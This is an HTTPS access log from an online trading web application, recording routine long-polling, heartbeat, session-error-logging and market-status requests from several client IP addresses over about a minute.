[09/Jan/2026:12:10:34 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:10:34 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:10:35 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932103948 HTTP/1.1" -
[09/Jan/2026:12:10:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932104329 HTTP/1.1" -
[09/Jan/2026:12:10:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932104329 HTTP/1.1" -
[09/Jan/2026:12:10:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932106598 HTTP/1.1" -
[09/Jan/2026:12:10:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932107357 HTTP/1.1" -
[09/Jan/2026:12:10:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932107332 HTTP/1.1" -
[09/Jan/2026:12:10:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932106900 HTTP/1.1" -
[09/Jan/2026:12:10:40 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932109134 HTTP/1.1" -
[09/Jan/2026:12:10:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932110332 HTTP/1.1" -
[09/Jan/2026:12:10:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932110332 HTTP/1.1" -
[09/Jan/2026:12:10:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932111652 HTTP/1.1" -
[09/Jan/2026:12:10:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932112401 HTTP/1.1" -
[09/Jan/2026:12:10:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932113333 HTTP/1.1" -
[09/Jan/2026:12:10:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932112079 HTTP/1.1" -
[09/Jan/2026:12:10:45 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932114363 HTTP/1.1" -
[09/Jan/2026:12:10:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932116688 HTTP/1.1" -
[09/Jan/2026:12:10:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932116332 HTTP/1.1" -
[09/Jan/2026:12:10:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932116332 HTTP/1.1" -
[09/Jan/2026:12:10:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:10:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:10:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:10:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:10:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932117583 HTTP/1.1" -
[09/Jan/2026:12:10:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932117269 HTTP/1.1" -
[09/Jan/2026:12:10:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932119330 HTTP/1.1" -
[09/Jan/2026:12:10:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932119615 HTTP/1.1" -
[09/Jan/2026:12:10:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932121735 HTTP/1.1" -
[09/Jan/2026:12:10:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:10:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:10:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932122332 HTTP/1.1" -
[09/Jan/2026:12:10:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932122332 HTTP/1.1" -
[09/Jan/2026:12:10:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932122763 HTTP/1.1" -
[09/Jan/2026:12:10:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:10:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:10:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932122357 HTTP/1.1" -
[09/Jan/2026:12:10:56 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932124830 HTTP/1.1" -
[09/Jan/2026:12:10:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:10:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:10:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932125332 HTTP/1.1" -
[09/Jan/2026:12:10:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932126754 HTTP/1.1" -
[09/Jan/2026:12:10:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:10:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:10:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:10:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:10:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932127997 HTTP/1.1" -
[09/Jan/2026:12:10:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932128331 HTTP/1.1" -
[09/Jan/2026:12:10:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932128331 HTTP/1.1" -
[09/Jan/2026:12:10:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932127472 HTTP/1.1" -
[09/Jan/2026:12:11:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932130083 HTTP/1.1" -
[09/Jan/2026:12:11:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932131329 HTTP/1.1" -
[09/Jan/2026:12:11:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932131787 HTTP/1.1" -
[09/Jan/2026:12:11:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932133052 HTTP/1.1" -
[09/Jan/2026:12:11:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932132503 HTTP/1.1" -
[09/Jan/2026:12:11:05 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:11:05 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:11:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932134336 HTTP/1.1" -
[09/Jan/2026:12:11:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932134336 HTTP/1.1" -
[09/Jan/2026:12:11:06 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932135235 HTTP/1.1" -
[09/Jan/2026:12:11:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932136821 HTTP/1.1" -
[09/Jan/2026:12:11:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932137331 HTTP/1.1" -
[09/Jan/2026:12:11:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932138159 HTTP/1.1" -
[09/Jan/2026:12:11:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932137603 HTTP/1.1" -
[09/Jan/2026:12:11:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932140338 HTTP/1.1" -
[09/Jan/2026:12:11:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932140338 HTTP/1.1" -
[09/Jan/2026:12:11:11 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932140375 HTTP/1.1" -
[09/Jan/2026:12:11:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932141853 HTTP/1.1" -
[09/Jan/2026:12:11:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932143337 HTTP/1.1" -
[09/Jan/2026:12:11:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932143342 HTTP/1.1" -
[09/Jan/2026:12:11:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932142703 HTTP/1.1" -
[09/Jan/2026:12:11:16 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932145624 HTTP/1.1" -
[09/Jan/2026:12:11:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932146326 HTTP/1.1" -
[09/Jan/2026:12:11:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932146326 HTTP/1.1" -
[09/Jan/2026:12:11:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932146873 HTTP/1.1" -
[09/Jan/2026:12:11:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:11:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:11:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:11:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:11:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932148572 HTTP/1.1" -
[09/Jan/2026:12:11:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932147777 HTTP/1.1" -
[09/Jan/2026:12:11:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932149335 HTTP/1.1" -
[09/Jan/2026:12:11:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:11:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:11:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:11:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:11:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932150913 HTTP/1.1" -
[09/Jan/2026:12:11:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
